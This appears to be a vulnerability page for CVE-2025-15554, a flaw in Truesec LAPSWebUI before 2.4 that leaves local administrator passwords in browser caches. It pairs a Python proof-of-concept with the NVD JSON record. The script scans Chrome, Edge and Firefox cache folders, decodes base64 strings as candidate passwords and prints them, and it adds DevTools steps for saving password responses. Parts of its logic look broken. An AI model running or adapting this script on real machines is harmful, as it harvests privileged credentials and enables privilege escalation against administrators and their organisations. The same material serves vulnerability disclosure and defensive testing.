CVE-2025-15554

# CVE-2025-15554 PoC - Truesec LAPSWebUI Browser Cache Password Disclosure # This PoC demonstrates how to extract cached LAPS passwords from browser cache import os import re import base64 from pathlib import Path def find_browser_cache_paths(): """Find potential browser cache directories""" cache_paths = [] user_profile = os.environ.get('USERPROFILE', os.path.expanduser('~')) # Chrome cache paths chrome_cache = os.path.join(user_profile, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Cache') cache_paths.append(chrome_cache) # Edge cache paths edge_cache = os.path.join(user_profile, 'AppData', 'Local', 'Microsoft', 'Edge', 'User Data', 'Default', 'Cache') cache_paths.append(edge_cache) # Firefox cache paths firefox_cache = os.path.join(user_profile, 'AppData', 'Local', 'Mozilla', 'Firefox', 'Profiles') cache_paths.append(firefox_cache) return [p for p in cache_paths if os.path.exists(p)] def extract_cached_laps_passwords(cache_dir): """Extract potential LAPS passwords from cache files""" found_passwords = [] try: for root, dirs, files in os.walk(cache_dir): for file in files: file_path = os.path.join(root, file) try: with open(file_path, 'rb') as f: content = f.read() # Look for patterns indicating LAPS password data # Pattern 1: Base64 encoded passwords b64_pattern = re.compile(rb'[A-Za-z0-9+/=]{20,}') for match in b64_pattern.finditer(content): try: decoded = base64.b64decode(match.group()) # Check if decoded content looks like a password if len(decoded) >= 8 and len(decoded) <= 128: if any(c.isalnum() or c in '!@#$%^&*' for c in decoded): found_passwords.append({ 'type': 'base64_encoded', 'encoded': match.group().decode('utf-8', errors='ignore'), 'decoded': decoded.decode('utf-8', errors='ignore') }) except: pass except: pass except Exception as e: print(f"Error scanning cache: {e}") return found_passwords def check_browser_devtools_cache(): """Check for cached data in browser DevTools storage""" print("[*] Checking browser DevTools Application tab storage...") print("[*] Navigate to DevTools -> Application -> Storage -> Cache Storage") print("[*] Look for requests to LAPSWebUI endpoints containing password data") print("[*] Example endpoints:") print(" - /api/password") print(" - /api/laps/get-password") print(" - /api/admin-password") def main(): print("=" * 60) print("CVE-2025-15554 - Truesec LAPSWebUI Password Cache Extraction PoC") print("=" * 60) print("\n[!] This PoC is for educational and authorized testing purposes only") print("[+] Scanning browser cache directories...") cache_paths = find_browser_cache_paths() for cache_path in cache_paths: print(f"\n[*] Scanning: {cache_path}") passwords = extract_cached_laps_passwords(cache_path) if passwords: print(f"[!] Found {len(passwords)} potential LAPS passwords!") for pwd in passwords: print(f" Encoded: {pwd['encoded'][:50]}...") print(f" Decoded: {pwd['decoded']}") check_browser_devtools_cache() print("\n[*] Alternative method: Use browser DevTools Network tab") print("[*] 1. Open browser DevTools (F12)") print("[*] 2. Go to Network tab") print("[*] 3. Access LAPSWebUI and trigger password retrieval") print("[*] 4. Find the API response containing password data") print("[*] 5. Right-click -> Save to file") print("[*] 6. Parse the saved JSON/response for password field") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-15554", "sourceIdentifier": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "published": "2026-03-16T14:17:56.427", "lastModified": "2026-04-07T00:50:55.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Browser caching of LAPS passwords in Truesec’s LAPSWebUI before version 2.4 allows an attacker with access to a workstation to escalate their privileges via disclosure of local admin passwords."}, {"lang": "es", "value": "El almacenamiento en caché del navegador de contraseñas LAPS en LAPSWebUI de Truesec antes de la versión 2.4 permite a un atacante con acceso a una estación de trabajo escalar sus privilegios mediante la divulgación de contraseñas de administrador local."}], "metrics": {"cvssMetricV40": [{"source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-525"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:truesec:lapswebui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4", "matchCriteriaId": "52616015-9CF6-4732-B4F7-A4246D3DE157"}]}]}], "references": [{"url": "https://labs.reversec.com/advisories/2026/03/admin-passwords-cached-by-browsers-in-truesec-lapswebui", "source": "db4dfee8-a97e-4877-bfae-eba6d14a2166", "tags": ["Third Party Advisory"]}]}}